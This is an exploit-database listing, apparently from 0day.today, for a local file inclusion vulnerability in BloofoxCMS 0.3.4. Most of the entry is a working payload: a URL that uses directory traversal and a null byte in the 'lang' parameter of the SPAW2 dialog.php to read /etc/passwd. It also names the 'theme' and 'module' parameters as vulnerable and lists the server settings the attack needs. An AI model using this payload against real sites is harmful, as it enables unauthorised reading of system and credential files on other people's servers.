[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

BloofoxCMS 0.3.4 (lang) Local File Inclusion Vulnerability

Author
fuzion
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-4546
Category
web applications
Date add
24-12-2008
Platform
unsorted
==========================================================
BloofoxCMS 0.3.4 (lang) Local File Inclusion Vulnerability
==========================================================


BloofoxCMS 0.3.4
http://www.bloofox.com/

magic_quotes_gpc = Off
register_globals = On

- File Inclusion -
http://site/bloofoxCMS_0.3.4/plugins/spaw2/dialogs/dialog.php?lang=../../../../../../../../../../../../etc/passwd%00

Also vulnerable:
dialog.php?theme=<lfi>
dialog.php?dialog=foo&module=<lfi>

- Seasons Greetings -
- http://nukeit.org -



#  0day.today [2024-09-18]  #